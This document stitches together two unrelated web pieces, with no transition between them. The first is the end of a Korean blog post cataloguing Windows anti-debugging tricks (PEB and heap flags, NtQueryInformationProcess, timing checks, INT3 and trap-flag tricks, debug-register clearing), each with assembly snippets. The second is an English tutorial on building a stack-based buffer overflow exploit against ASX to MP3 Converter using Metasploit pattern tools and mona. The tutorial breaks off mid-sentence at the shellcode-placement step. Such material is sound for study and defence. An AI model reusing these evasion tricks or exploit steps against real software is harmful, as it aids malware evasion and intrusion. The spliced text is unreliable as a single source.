디버거가 겂을 경우 NtGlobalFlags 값은 0으로 설정되며, 디버거에 의해 실행시 0x70으로 설정된다. 즉,
FLG\_HEAP\_ENABLE\_TAIL\_CHECK, FLG\_HEAP\_ENABLE\_FREE\_CHECK and
FLG\_HEAP\_VALIDATE\_PARAMETERS 세 개의 플래그가 설정되는 것이다.  
\- Example

mov eax, fs:\[30h\] // PEB의 주소를 eax에 저장  
mov eax, \[eax+68h\] // NtGlobalFlags 값을 eax에 저장  
and eax, 0x70 // NtGlobalFlags 값이 0x70인지 비교  
test eax, eax  
jne @DebuggerDetected // 비교 결과에 따라 분기  
---  
**④ Heap flags 참조**  
PEB 구조체의 +0x18에 위치한 ProcessHeap 포인터를 참조하여 ProcessHeap 구조체의 Flags와 ForceFlags 두
플래그를 참조하여 디버깅을 탐지할 수 있다. 아래 그림과 같이 Flags는 0x0c에 ForceFlags는 0x010에 위치한다. Flags
플래그는 디버깅 중일 경우 0x50000062으로 설정되며 그렇지 않을 경우 0x2로 설정되며, ForceFlags의 경우 디버깅 중일 경우
0x40000060으로 설정되며 그렇지 않을 경우 0으로 설정된다. 각 플래그 값은 다음과 같다.

\- Flags 플래그

HEAP\_GROWABLE \(2\)  
HEAP\_TAIL\_CHECKING\_ENABLED \(0x20\)

HEAP\_FREE\_CHECKING\_ENABLED \(0x40\)

HEAP\_SKIP\_VALIDATION\_CHECKS \(0x10000000\)

HEAP\_VALIDATE\_PARAMETERS\_ENABLED\(0x40000000\)

\- ForceFlags

HEAP\_TAIL\_CHECKING\_ENABLED \(0x20\)

HEAP\_FREE\_CHECKING\_ENABLED \(0x40\)

HEAP\_VALIDATE\_PARAMETERS\_ENABLED\(0x40000000\)

<img src='img/Temp2_7345.png' />

**\- Example 1** \(Flags 플래그 값을 검사\)

mov eax, fs:\[30h\] // PEB의 주소를 eax에 저장  
mov eax, \[eax+18h\] // ProcessHeap 주소를 eax에 저장  
mov eax, \[eax+0ch\] // Flags 플래그 값을 eax에 저장  
dec eax  
dec eax  
jne being\_debugged // eax의 값이 2인지 검사  
---  
**\- Example 2** \(ForceFlags 플래그 값을 검사\)

mov eax, fs:\[30h\] // PEB의 주소를 eax에 저장  
mov eax, \[eax+18h\] // ProcessHeap 주소를 eax에 저장  
cmp \[eax+10h\], 0 // ForceFlags 플래그를 0과 비교하여 분기  
jne being\_debugged  
---  
출처 : 스토리가 있는 리버싱\(http://sharku.egloos.com/302589\)  

**⑤ Vista anti-debug**

비스타의 경우 프로세스가 디버깅 중이라면 0xBFC에 위치한 메인 쓰레드의 TEB가 system dll을 참조하는 unicode string
값을 가르키는 포인터를 갖고 있지만, 프로세스가 디버깅중이지 않을 경우 포인터는 NULL 값을 갖는다.

**\- Example **

call GetVersion  
cmp al, 6 // 윈도우 버젼이 Vista인지 검사\(6.0일시에 Vista\)  
jne @NotVista  
push offset \_seh  
push dword fs:\[0\]  
mov fs:\[0\], esp  
mov eax, fs:\[18h\] // TEB의 주소를 eax에 저장  
add eax, 0BFCh // TEB + 0xBFC로 오프셋 이동  
mov ebx, \[eax\] // unicode string을 가르키는 포인터  
test ebx, ebx // null인지 검사  
je @DebuggerNotFound  
sub ebx, eax ; the unicode string follows the  
sub ebx, 4 ; pointer  
jne @DebuggerNotFound ;debugger detected if it reaches this point  
---  
**○ 시스템의 차이점을 비교\(?\)**

**① NtQueryInformationProcess**

ntdll\!NtQueryInformationProcess 함수는 ZwQueryInformationProcess system call의
wrapper 함수이다. 해당 함수의 syntax는 다음과 같다.

 _NTSTATUS WINAPI NtQueryInformationProcess\(_ _\_\_in HANDLE ProcessHandle,_
_\_\_in PROCESSINFOCLASS ProcessInformationClass, _ _\_\_out PVOID
ProcessInformation, _ _\_\_in ULONG ProcessInformationLength, _ _\_\_out\_opt
PULONG ReturnLength\);_  
---  
ProcessInformationClass 값을 7\(ProcessDebugPort\)로 설정한 뒤 해당 함수 호출시, 프로세스가 디버깅
중이라면 시스템은 ProcessInformation 값을 -1로 설정한다. 프로세스가 디버깅 중일 경우
NtQueryInformationProcess 파라미터 중 ProcessDebugPort 값을 7로 설정하게 된다.
ProcessInformationClass 함수에 대한 자세한 설명은 MSDN을 참고하기 바란다.

이 anti-debugging을 회피하는 방법은 프로그램을 모니터링 하다가 ProcessInformation값을 조작\(-1이 리턴될 경우
0으로 변경\)하여 회피하거나, ZwNtQueryInformationProcess 함수를 후킹하는 것이다.
NtQueryInformationProcess를 사용하는 안티 디버깅 기법의 예로 CheckRemoteDebuggerPresent,
UnhandledExceptionFilter가 있다.

**\- Example**

push 0  push 4 push offset isdebugged push 7 // ProcessInformationClass 값을 7로
설정 push -1 call NtQueryInformationProcess // NtQueryInformationProcess 호출후 리턴값
검사 test eax, eax jne @ExitError  
---  
**② kernel32\!CheckRemoteDebuggerPresent**  
CheckRemoteDebuggerPresent 함수는 아래와 같은 syntax를 갖는다.

_BOOL WINAPI CheckRemoteDebuggerPresent\( _ _\_\_in HANDLE hProcess, _
_\_\_inout PBOOL pbDebuggerPresent\);_  
---  
해당 함수는 핸들로 넘긴 프로세스가 디버깅 중일 경우 "1"을 리턴한다. 내부적으로는 위에서 설명한
NtQueryInformationProcess 함수를 이용하여 유무를 점검한다.

**\- Example **

push offset isdebugged push -1 call CheckRemoteDebuggerPresent // test eax,
eax jne @DebuggerDetected  
---  
**③ UnhandledExceptionFilter**  
윈도우 SP2 이상, 윈도우 2003, 윈도우 비스타 등의 OS에서 exception이 발생할 경우 OS는 다음과 같은 과정으로 해당
exception을 처리한다.

1\. 프로세스마다 존재하는 VEH\(Vectored Exception Handler\)에게 제어권을 넘긴다.

2\. exception이 처리되지 않을 경우 FS\[0\]가 가르키는 쓰레드마다 존재하는 top SEH handler로 제어권을 넘긴다.
SEH는 chain 형식으로 구성되어 있으며, 이전 chain에서 처리되지 않을 경우 다음으로 넘긴다.

3\. 그래도 처리가 되지 않을 경우 final SEH handler가 kernel32\!UnhandledExceptionFilter를
호출한다. UnhandledExceptionFilter 함수가 프로세스가 디버깅 중인지 아닌지를 검사하는 매개체가 된다.

4\. 프로세스가 디버깅 중일 경우 종료되며, 그렇지 않을 경우 사용자가 정의한 함수\(user-defined filter
function\)가 호출된다.

**\- Example **

push @not\_debugged call SetUnhandledExceptionFilter xor eax, eax  mov eax,
dword \[eax\] // 0값을 참조하게 되므로 exception 발생, 디버깅 중이라면 프로그램 종료 ...
@not\_debugged: process the exception continue the execution  
---  
**④ NtSetInformationThread**

ntdll\!NtSetInformationThread 함수는 ZwSetInformationThread system call의 wrapper
함수이며, syntax는 다음과 같다.

_NTSTATUS ZwSetInformationThread\( _ _ \_\_in HANDLE ThreadHandle, _ _\_\_in
THREADINFOCLASS ThreadInformationClass, _ _\_\_in PVOID ThreadInformation, _
_\_\_in ULONG ThreadInformationLength\);_  
---  
ThreadInformationClass를 0x11\(ThreadHideFromDebugger\)로 설정후 호출시 해당 쓰레드는 디버거로
부터 떨어지게\(detached\)된다. ZwQueryInformationProcess 함수와 마찬가지로 회피를 위해서는
ZwSetInformationThread 호출전에 해당 파라미터를 변경하거나, 커널 드라이버를 이용하여 후킹을 해야한다.

**\- Example **

push 0 push 0 push 11h // ThreadHideFromDebugger 값을 0x11로 설정 push -2 call
NtSetInformationThread // 디버깅 중일 겨우 쓰레드는 떨어짐  
---  
**⑤ kernel32\!CloseHandle and NtClose**

최종적으로 ZwClose를 호출하는 API인 CloseHandle등을 이용한 디버깅 탐지 기법으로 프로세스가 디버깅 중이라면 잘못된 핸들을
인수로 준 뒤 ZwClose 호출시 STATUS\_INVALID\_HANDLE \(0xC0000008\)exception을 생성한다.****

**\- Example**

push offset @not\_debugged  
push dword fs:\[0\]  
mov fs:\[0\], esp  
push 1234h ; // invalid handle  
call CloseHandle // CloseHandle 호출, 프로세스가 디버깅 중일시 실패  ;...  
@not\_debugged:  
;...  
---  
**⑥ Self-debugging**

프로세스는 자기 자신을 스스로 디버깅 함으로서 디버깅 여부를 감지할 수 있다. 예를 들어 새로운 프로세스를 생성한 뒤에 부모 프로세스에서
kernel32\!DebugActiveProcess\(pid\)를 호출한다.

DebugActiveProcess가 호출되어 디버깅 기능이 활성화 되면 자식 프로세스에는
ntdll\!DbgUiDebugActiveProcess가 호출되게 되고 이것은 결국 ZwDebugActiveProcess 함수를
syscall 하게 된다. 만약 프로세스가 디버깅중이라면 ZwDebugActiveProcess 함수는 실패하게 된다. toolhelp32
APIs를 이용하여 부모 프로세스의 PID\( PROCESSENTRY32 구조체의 th32ParentProcessID 필드\)를 가져올 수
있으며, 해당 값을 참고하여 디버깅 중인 부모 프로세스를 종료하게 된다.

**⑦ Kernel-mode timers**

kernel32\!QueryPerformanceCounter는 매우 효율적인 anti-debug 방법이다. 해당 함수는
ntdll\!NtQueryPerformanceCounter 호출하며, ZwQueryPerformanceCounter syscall을
wrap하고 있다. QueryPerformanceCounter를 이용하여 성능 카운터 값을 읽어와 일정 시간보다 클 경우 현재 프로세스가
디버깅 중인 것으로 판단할 수 있다. 디버깅 중이면 Step-by-Step 방식으로 진행할 것이므로 아무래도 성능 카운터의 값이 클 것이다.

**⑧ User-mode timers**

kernel32\!GetTickCount 함수는 시스템이 시작된 이후의 시간을 millisecond 단위로 반환한다. 정상적으로 프로그램이
실행될 경우와 디버깅 중일 경우에는 시간차가 있을 것이므로 그점을 이용하여 디버깅 중인지 판단한다.

**⑨ kernel32\!OutputDebugStringA**

매우 오래된 anti-debug 방법으로 유효한 ASCII 스트링을 매개변수로 하여 OutputDebugStringA를 호출하였을 경우
프로그램이 디버깅 중이라면 파라미터로 전달한 스트링의 주소값을 반환하게 되며, 정상적으로 실행중일시에는 1을 반환하게 된다.

**\- Example**

xor eax, eax  
push offset szHello // 파라미터로 ASCII string 전달  call OutputDebugStringA //
OutputDebugStringA 호출  
cmp eax, 1 // 결과값이 1인지 비교  
jne @DebuggerDetected  
---  
**⑩ Ctrl- C**

콘솔 프로그램이 디버깅 중이라면 Ctrl-C 시그널은 EXECEPTION\_CTL\_C exception을 발생시킨다. 반면에 정상적으로
프로그램이 실행중이라면 바로 signal-handler가 호출될 것이다.

**\- Example**

push offset exhandler  
push 1  
call RtlAddVectoredExceptionHandler  
push 1  
push sighandler  
call SetConsoleCtrlHandler  
push 0  
push CTRL\_C\_EVENT  
call GenerateConsoleCtrlEvent  
push 10000  
call Sleep  
push 0  
call ExitProcess  
exhandler:  
;check if EXCEPTION\_CTL\_C, if it is,  
;debugger detected, should exit process  
;...  
sighandler:  
;continue  
;...  
---  
  

**○ CPU Anti-debug**

① Rouge Int3

고전적이며 대부분의 디버거에서 속지않는 anti-debug 방법으로, 정상적인 명령어 구문속에 "INT3" opcode를 삽입하는 방법이다.
프로그램이 디버깅중이 아니라면 INT3 명령 실행시 protection\(보호\), execution\(실행\),
continue\(재개\)는 exception handler가 제어하게 될 것이다. INT3 명령은 디버거에서 software
breakpoint 설정시 사용하는 명령이다. 따라서 INT3을 명령 중간에 삽입하여 디버거에게 software breakpoint가 설정된
것으로 속이는 방법이다. \(이후의 설명에 대한 부분과 예제는 잘 이해가 가지 않는다. 내용을 아시는 분은 가르침 부탁드립니다.\)

**\- Example**

push offset @handler  push dword fs:\[0\]  mov fs:\[0\], esp  ;...  db 0CCh
;if fall here, debugged  ;...  @handler:  ;continue execution  ;...  
---  
**② "Ice Breakpoint **

소위 "Ice Breakpoint"라고 불리는 방법으로 intel의 문서화되지 않은 opcode은 0xF1을 이용하는 방법이다. 0xF1은
추적 프로그램\(tracing program\)을 감지할 때 사용한다.

0xF1 실행시 SINGLE\_STEP exception을 발생시킨다. 따라서 이미 프로그램이 추적\(trace\) 중이라면\(디버깅
중이라면\) 디버거는 Flag Register의 SingleStep bit를 설정하고 실행되는 정상적인 실행이라 판단한다. \(참고 :
Trap Flag는 software exception을 발생시키는 flag로 Trap flag가 설정되면 exception이 발생하고
제어권이 SEH로 넘어간다.\)

관련된 exception handler는 실행되지 않을 것이며, 프로그램은 기대한 것과 다르게 실행될 것이다.

해당 anti-debug를 회피하는 방법은 간단하다. single-stepping 명령을 건너뛰고 실행하게 한다.

**\- Example**

push offset @handler  
push dword fs:\[0\]  
mov fs:\[0\], esp  
;...  
db 0F1h  
;if fall here, traced  
;...  
@handler:  
;continue execution  
;...  
---  
**③ Interrupt 2Dh**

2Dh 인터럽트 실행시 프로그램이 디버깅 중이지 않을 경우 breakpoint exception을 발생시킨다. 프로그램이 디버깅 중이고
trace flag가 set되지 않은 상태로 실행될시에 exception이 발생하지 않으며 정상적으로 실행이 된다. 프로그램이 디버깅 중이며
trace flag가 set되어 있을 경우에는 바로 다음 명령은 실행되지 않는다.

**\- Example**

push offset @handler  
push dword fs:\[0\]  
mov fs:\[0\], esp  
;...  
db 02Dh  
mov eax, 1 ;anti-tracing  
;...  
@handler:  
;continue execution  
;...  
---  
**④ Timestamp counters**

매우 정밀한 카운터로 컴퓨터가 실행된 이후로 현재까지의 CPU cycle의 횟수를 "RDTSC"\(Read Time Stamp
Counter\) 명령을 통해 알 수 있다. 고전적인 anti-debug 방법들은 프로그램의 time deltas를 측정하는 방법을 사용하며
delta 값이 너무 클 경우 프로그램이 디버깅 중이라 판단한다.

**\- Example**

push offset handler  
push dword ptr fs:\[0\]  
mov fs:\[0\],esp  
rdtsc  
push eax  
xor eax, eax  
div eax ;trigger exception  
rdtsc  
sub eax, \[esp\] ;ticks delta  
add esp, 4  
pop fs:\[0\]  
add esp, 4  
cmp eax, 10000h ;threshold  
jb @not\_debugged  
@debugged:  
...  
@not\_debugged:  
...  
handler:  
mov ecx, \[esp+0Ch\]  
add dword ptr \[ecx+0B8h\], 2 ;skip div  
xor eax, eax  
ret  
---  
**⑤ Popf and trap flag**

Flags Register에 존재하는 trap flag는 프로그램의 추적을 제어한다. 해당 flag가 set 되어 있을 경우 해당 명령
실행시 SINGLE\_STEP exception을 발생시킨다. trap flag는 추적을 방해하는 용도로 조작될 수 있다.

**\- Example**

pushf // 모든 flag를 push한다.  
mov dword \[esp\], 0x100 // trap flag 값을 설정  
popf // 스택에 저장했던 flag 값들을 다시 pop  
---  
프로그램이 추적\(디버깅\) 중이라면 위의 예제는 실제로 flag register에 영향을 미치지 않을 것이고 디버거는 exception을
발생시킬 것이다. 만약 디버깅중이 아니라면 exception handler는 실행되지 않을 것이다.

**⑥ Stack Segment register**

매우 오래된 anti-debug 방법으로 MarCrypt라는 패커에서 사용되었다. 이 방법은 다음과 같은 명령 순서를 통해 디버깅 여부를
탐지한다.

push ss  
pop ss  
pushf  
nop  
---  
디버거를 통해 한 단계씩\(step-by-step\) 명령 실행시에 pop ss 명령을 실행하게 되면 pushf는 건너띄고 nop로 넘어가게
된다. 이런 특징을 이용하여 디버깅 여부를 탐지하게 되며 MarCrypt는 다음과 같은 방법을 사용하고 있다.

**\- Example**

push ss  pop ss //step-by-step으로 실행시 바로 뒤의 pushf에서 멈추지 않고 pop eax에서 멈춤  pushf
pop eax // TF 값을 eax에 저장\(?\)  and eax, 0x100  or eax, eax  jnz @debugged //
TF 값이 설정되어 있을시에 프로그램 종료  
---  
**⑦ Debug registers manipulation**

Debug register\(DR0 ~ DR7\)은 하드웨어 브레이크 포인트를 설정할 때 사용된다. debug register가 설정되어
있을 경우 디버깅 중 인것으로 판단할 수 있으며, 디버깅 방해를 위해 debug register 값을 해제해 버리거나 특정 값으로 설정 후
추후에 확인을 통해 현재 디버깅 상태인지 검사할 수 있다. tElock 같은 패커는 debug register를 통해 디버깅 중인지 감지 및
방해한다.

사용자 모드에서 "mov drx, ..." 명령을 통해 debug register를 설정할 수 없다. 다른 방법으로는

\- exception 발생시 thread context가 변경될 것이고\(exception 발생시의 CPU register를 갖고
있다.\), 새로운 context를 가지고 실행을 재개할 것이다.

\- 다른 방법은 NtGetContextThread, NtSetContextThread syscall\(kernel32의
GetThreadContext, SetThreadContext\)을 이용하는 것이다.

push offset handler  
push dword ptr fs:\[0\]  
mov fs:\[0\],esp  
xor eax, eax  
div eax ; // exception 발생  
pop fs:\[0\]  
add esp, 4  
;continue execution  
;...  
handler:  
mov ecx, \[esp+0Ch\] ;skip div  
add dword ptr \[ecx+0B8h\], 2 ;skip div  
mov dword ptr \[ecx+04h\], 0 // DR0 register 초기화  
mov dword ptr \[ecx+08h\], 0 // DR1 register 초기화  
mov dword ptr \[ecx+0Ch\], 0 // DR2 register 초기화  
mov dword ptr \[ecx+10h\], 0 // DR3 register 초기화  mov dword ptr \[ecx+14h\], 0
// DR6 register 초기화  
mov dword ptr \[ecx+18h\], 0 // DR7 register 초기화  
xor eax, eax  
ret  
---  
**⑧ Context modification**

debug register 변경과 같이 context 변경은 프로그램의 실행 흐름을 변경할 수 있으며, 디버깅을 방해할 수 있다.

NtContinue는 현재 쓰레드에 새로운 context를 로드할 수 있다.\(예를 들어 NtContinue는 exception
handler manager로 사용될 수 있다.\)

  

**○ Uncategorized anti-debug**

**① TLS-callback**

최근 몇년전만 해도 잘 알려지지 않은 anti-debug 방법으로, 이 방법은 PE loader에게 프로그램의 첫번째 엔트리 포인트를
Thread Local Storage 엔트리\(PE구조에서 OptionalHeader에 존재하는 IMAGE\_DATA\_DIRECTORY
구조체의 10번째 항목\)를 가르키게 한다. 그렇게 함으로써 프로그램의 EP\(entry-point\)가 먼저 실행되는 것이 아니라 TLS
entry가 먼저 실행되며 은밀하게 anti-debug를 수행할 수 있다.

이 방법은 널리 사용되지는 않으며, 디버거의 plugins에 의해 TLS를 알지 못하더라도 쉽게 잡아낼 수 있다.

**② CC scanning**

패커에 의해서 주로 사용되는 CC-scanning loop는 디버거에 의해서 설정된 software breakpoint를 탐지하는데
사용된다. 이런 탐지 기법 회피를 위해서는 hardware breakpoint를 같이 사용하거나, custom type의 software
breakpoint 를 사용하는 것이다. CLI\(0xFA\)는 고전적인 방법은 INT3 opcode를 대체할 좋은 방법이다. 단, CLI는
ring 3에서 실행시 1 byte의 공간만 차지하게 되며 privileged instruction exception을 발생시킨다.

**③ Entrypoint RVA set to 0**

일부 패킹된 파일은 entry point RVA를 0으로 설정해 버린다. 그것은 프로그램은 "MZ ..." 부터 실행될 것이고 이것은
"dec ebx / pop edx" opcode를 의미한다.

이것은 anti-debug trick은 아니지만 entry-point에 breakpoint를 설정하고 싶을 경우에는 매우 성가실 수 있다.

당신이 정지된\(suspended\) 프로세스를 생성한 뒤에 RVA 0를 INT3로 설정한다면 "MZ.."의 'M' 값을 변경하게 된다.
이후 프로세스가 resume 될때에 ntdll에 의해 PE 포멧을 검사하게 될 것이고 위와 같은 경우
"INVALID\_IMAGE\_FORMAT" exception을 발생시킬 것이다.

**○ 결 론**

간단한 anti-debug trick 때문에 한참을 헤맨 적이 많아 자료를 찾던 도중에 symantec 홈페이지에 유용한 내용의 글이 있어
남기게 되었다. 물론 아직 모든 내용이 이해가 가지는 않는다. 이렇게 기록해 놓고 차후에 찾아보면서 해당 trick들을 하나씩 자세히 알아갈
날이 오겠지.

  
+---------------------------------+  
| Infinite Flow.. |  
| mail : reverseinsight@gmail.com |  
| Blog : http://sinun.tistory.com |  
| twitter : @unpacker |  
| CISSP |  
+----------------------------------+

#### '0x03 Reversing > Tip and Tech' 카테고리의 다른 글

\[Tip and Tech\] Anti-debugging Techniques \(1\) |  21:34:47  
---|---  
\[Tip & Tech\] Dadong Script\(Encrypt By Dadong's JSXX 0.39 VIP\) 분석 \(8\)

# Windows Exploit Development - Part 2: Intro to Stack Based Overflows -
Security SiftSecurity Sift

**Created:**| _8/19/2015 11:14:08 AM_  
---|---  
**Updated:**| _8/19/2015 11:14:08 AM_  
**Author:**| __  
**Tags:**| _Exploit windows environment_  
  

### Overview

Welcome to Part 2 of my Windows Exploit Development series. In the first post,
I covered some basic concepts that should be considered pre-requisites for
continuing with Part 2 and beyond. If you haven’t done so, I recommend at
least taking a cursory look at the first post to ensure you’ve got a firm
grasp on all of the concepts presented. Building on that knowledge, I now want
to talk about an all-too-common Windows-based software vulnerability: the
stack-based buffer overflow.

### Introduction to Stack-Based Buffer Overflows

In this installment, I’m going to pick up where we left off with the following
simple program from Wikipedia:

<img src='img/Temp2_9658.png' width='291' height='175' alt='strcpy' />

In Part 1, I alluded to the fact that passing an argument greater than 11
characters to the strcpy\( \) function would lead to a buffer overflow due to
lack of bounds checking. Let’s see exactly what that means. Recall how
strcpy\( \) writes the argv\[1\] user input to the stack as follows:

<img src='img/Temp2_9656.png' width='765' height='80' alt='strcpy2' />

This is fine if the input is less than 12 characters \(the size allotted to
the stack for variable c in function foo\), but if the input exceeds 11
characters, strcpy\( \) will continue writing the input to the stack, no
matter how much space has been allocated. \[Side note: In case you’re
wondering why the input character limit is 11 and not 12 \(since the variable
size is 12\), it’s because you must allocate for the automatic string
terminator.\]

For example, if we were to run this program with an argument of 150 A’s we’d
end up with a stack that looks like this:

<img src='img/Temp2_9630.png' width='242' height='345' alt='strcpy_bof1' />

As you can see, strcpy\( \) has overwritten all of the the base pointers
\(saved EBP\) and return addresses \(saved EIP\) with argv\[1\]. Note: don’t
worry about the Pointer to the next SEH record and SE handler — I’ll cover
them in a future post. Now when the program diverts execution to one of the
saved EIP addresses, it will try to follow 41414141 \(AAAA\) and raise and
error/exception.

<img src='img/Temp2_9661.png' width='599' height='451' alt='strcpy_bof2' />

Again, this is because strcpy\( \) does not employ bounds checking so it does
not validate the space allocated for variable c and will continue to write to
the stack until argv\[1\] has been written in its entirety. Since local
variables are written to the stack above saved return addresses and other
important data, and argv\[1\] is written down the stack, EIP will be
overwritten with A’s.

<img src='img/Temp2_9654.png' width='442' height='365'
alt='strcpy_bof_diagram' />

Since we \(the user\) have complete control over the argument we pass to the
program, thanks to this stack-based buffer overflow, we also have complete
control over EIP and as a result, the execution flow of the program itself.
That means we can redirect the program from its intended course to execute
code of our choosing — this is a simple example of a stack-based buffer
overflow vulnerability. Let’s take a look at an actual program with a similar
buffer overflow flaw.

### Finding a vulnerable application

Let me this opportunity to introduce Exploit Database \(http://www.exploit-
db.com/\), an archive of exploits which in many cases also includes the
associated vulnerable software available for download. It’s a great resource
for exploit development as well as a great place to submit your own written
exploits. In a future post, I’ll discuss how to find your own software
exploits but for this intro demonstration let’s use an existing one.

For this example, I’m going to refer to an older Proof of Concept buffer
overflow exploit for ASX to MP3 Converter submitted in 2009 by Cyber-Zone.
Take a look at the code posted to Exploit-DB and note the EIP overwrite
\(41414141\) after opening a music playlist file \(.m3u\) containing “http://”
+ 26,121 A’s. Now because this is a POC, it doesn’t actually result in
successful code execution \(just a program crash\). Also note that this POC
doesn’t indicate which version of the software is vulnerable and it was
written on Windows XP SP2 French, meaning we could see different results on an
alternate version of the OS. With all that in mind, lets download ASX to MP3
Converter version 3.0.0.7 and install it on Windows XP SP3.

### Replicating the vulnerability/crash

Next let’s start to build our exploit and replicate the application crash from
the POC. I’m going to write this exploit in Perl.

<img src='img/Temp2_9633.png' width='461' height='199' alt='asx2mp3_sploit_1'
/>

As you can see, the Perl script creates an m3u file containing 50,000 A’s \(41
is ‘A’ in hex — see http://www.asciitable.com/\). Note that for this m3u
exploit, the “http://” included in the original POC is not required, though
some m3u-based exploits do require a similar location/path to work. You can
research the contents/header of a valid m3u file to understand why this might
be. Also note that with this exploit, the path to where the m3u exploit file
is saved influences the eventual EIP overwrite so be sure name the exploit
file the same as in my example \(asx2mp3.m3u\) and save it to the root of the
C:\ drive before you open it in ASX to MP3 converter.

Run the perl script \(e.g. perl asx2mp3.pl\) to produce the exploit m3u file
and save it to the C:\ drive of the target Windows machine. Then open ASX to
MP3 Converter and attach Immunity Debugger \(be sure to press F9 to run the
program\).

<img src='img/Temp2_9644.png' width='389' height='233' alt='Attach ASX to MP3
Converter' />

Open the asx2mp3.m3u exploit file with ASX to MP3 player \(by dragging it to
the application\) and you should see an immediate application crash and
resulting EIP overwrite in Immunity.

<img src='img/Temp2_9662.png' width='459' height='134' alt='asx2mp3_sploit_0'
/>

<img src='img/Temp2_9652.png' width='486' height='339'
alt='ASX2MP3_immunity_1' />

### Controlling the EIP overwrite \(Determine the Offset\)

Ok, so we’ve confirmed the POC crash. Now, in order to take control of program
execution and make this exploit functional the first thing we need to do is
figure out at what point in our 50,000 character buffer EIP is overwritten
\(also known as the “offset”\). We could do this via trial and error by
constructing our buffer with multiple characters \(such as 10,000 each of A’s,
B’s, C’s, D’s, and E’s\) and see where EIP is overwritten as I illustrated
below.

<img src='img/Temp2_9632.png' width='454' height='263' alt='asx2mp3_sploit_2'
/>

<img src='img/Temp2_9641.png' width='489' height='150' alt='asx2mp3_immunity2'
/>

EIP was overwritten by C’s, so from here you could focus on characters 20,001
to 30,000, breaking them down in smaller increments until you find the exact 4
bytes that overwrite EIP. While effective, this method can take some time and
there is an easier way. Instead of multiple trial and error attempts we can
find the exact EIP overwrite using Metasploit pattern\_create/pattern\_offset
functions \(which you can find on Backtrack/Kali Linux\).

root@kali:/\# locate \*pattern\_\*.rb /usr/share/metasploit-
framework/tools/pattern\_create.rb /usr/share/metasploit-
framework/tools/pattern\_offset.rb

123 | root@kali:/\# locate \*pattern\_\*.rb/usr/share/metasploit-framework/tools/pattern\_create.rb/usr/share/metasploit-framework/tools/pattern\_offset.rb  
---|---  
Using pattern\_create, I’ll create a pattern of length 50,000, insert that
into my script and create a new m3u exploit file.

root@kali:/\# /usr/share/metasploit-framework/tools/pattern\_create.rb 50000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad...

12 | root@kali:/\# /usr/share/metasploit-framework/tools/pattern\_create.rb 50000Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad...  
---|---  
<img src='img/Temp2_9646.png' width='470' height='151' alt='asx2mp3_sploit_3'
/>

Restart ASX to MP3 Converter in Immunity \(Ctrl + F2\), open your newly
created m3u file \(from the root of C:\\\) and examine the crash in Immunity.
This time we get an EIP overwrite of 48376D48.

<img src='img/Temp2_9651.png' width='218' height='131'
alt='asx2mp3_immunity_3' />

To find the exact offset of this EIP overwrite within our 50,000 character
buffer, we’ll use pattern\_offset.rb. The syntax is as follows:

root@kali:/\# /usr/share/metasploit-framework/tools/pattern\_offset.rb
0x48376D48 50000

1 | root@kali:/\# /usr/share/metasploit-framework/tools/pattern\_offset.rb 0x48376D48 50000  
---|---  
<img src='img/Temp2_9645.png' width='673' height='64' alt='asx2mp3_sploit4' />

In this case, the actual offset is the second listed \(26121\), which is the
same as in the original POC posted to Exploit-DB.com. We can test this by
modifying our script as follows:

<img src='img/Temp2_9628.png' width='575' height='226'
alt='asx2mp3_sploit_5-1' />

In the above script, I added a variable $junk which holds 26,121 A’s — our
offset to EIP. The next four bytes should overwrite EIP exactly \(I’ve chosen
four B’s\) and the remainder of the 50,000 character buffer is filled with
C’s. Re-running the vulnerable app with the updated m3u file confirms the
offset to EIP and it is overwritten with the 4 B’s as hoped. You can also see
the contents of our buffer in the stack and memory dump panes.

<img src='img/Temp2_9667.png' width='589' height='563'
alt='asx2mp3_immunity_4' />

Let’s take a look at another way to generate a pattern and calculate the
offset, this time using the Mona plugin for Immunity. Once you have the plugin
saved to the PyCommands folder of Immunity, launch ASX to MP3 converter from
within the debugger.

If you want to use mona to generate the metasploit pattern, you can type
_\!mona pc 50,000****_ and it will write the pattern to a text file . Since I
do most of my exploit writing on a separate Kali machine, I prefer to use
pattern\_create.rb. Either way, once you’ve created your exploit m3u file
containing the 50,000 byte pattern and cause the application to crash within
Immunity you can now use the findmsp mona command. With this command \(\!mona
findmsp\) mona will locate the EIP overwrite as well as other very useful
information such as which registers contain portions of your buffer. If you
were to run the _\!mona findmsp_ command your output should look something
like this:

<img src='img/Temp2_9665.png' width='522' height='335' alt='findmsp1' />

Notice how it only found one EIP pattern at offset 5841 which might look
familiar as it was the first of three pattern matches found by the Metasploit
pattern\_offset.rb script I showed earlier. This is because out-of-the-box,
the findmsp function in mona.py looks for the offset using the python find\(
\) function as follows:

offset = regpattern.find\(hexpat\)\)

1 | offset = regpattern.find\(hexpat\)\)  
---|---  
If you’re familiar with python, the find function only returns the first
occurrence of a match, not all occurrences. In our case, we are actually
interested in the second match to determine the correct offset. I updated my
copy of mona to use regular expressions \(instead of the find function\) and
loop through all occurrences of a pattern match to construct a concatenated
string of all offsets. If you’re interested, the basic code follows \(though I
should warn you this is a hack and some additional code changes are
required\):

match in re.finditer\(hexpat, regpattern\): if offsetstr \!= "": divisor = "
and " offsetstr = offsetstr + divisor + match.start\( \) ... \[be sure to edit
dbg.log to write offsetstr as %s\]

12345678 | match in re.finditer\(hexpat, regpattern\): if offsetstr \!= "": divisor = " and " offsetstr = offsetstr + divisor + match.start\( \) ... \[be sure to edit dbg.log to write offsetstr as %s\]  
---|---  
This will result in the following output:

<img src='img/Temp2_9637.png' width='598' height='57' alt='findmsp2' />

As you can see, it now returns all instances of EIP offsets.

### Finding a location for our shellcode

Now that we’ve confirmed we can control the EIP overwrite \(and resulting
execution flow\), we’re ready to modify the exploit script to make it execute
code of our choosing. In order to redirect execution to something useful we
need to determine where our resulting shellcode is going to reside and then
point EIP at that location. To do this we need to examine the CPU registers
and memory content at the time of application crash and EIP overwrite. Let’s
go back to our Immunity output in CPU view:

Notice there are three registers that currently point to some location in our
50,000 byte buffer: EBX, ESP and EBP.

<img src='img/Temp2_9653.png' width='583' height='114' alt='asx2mp3_immunity5'
/>

We want to use our EIP overwrite to tell the application to redirect to one of
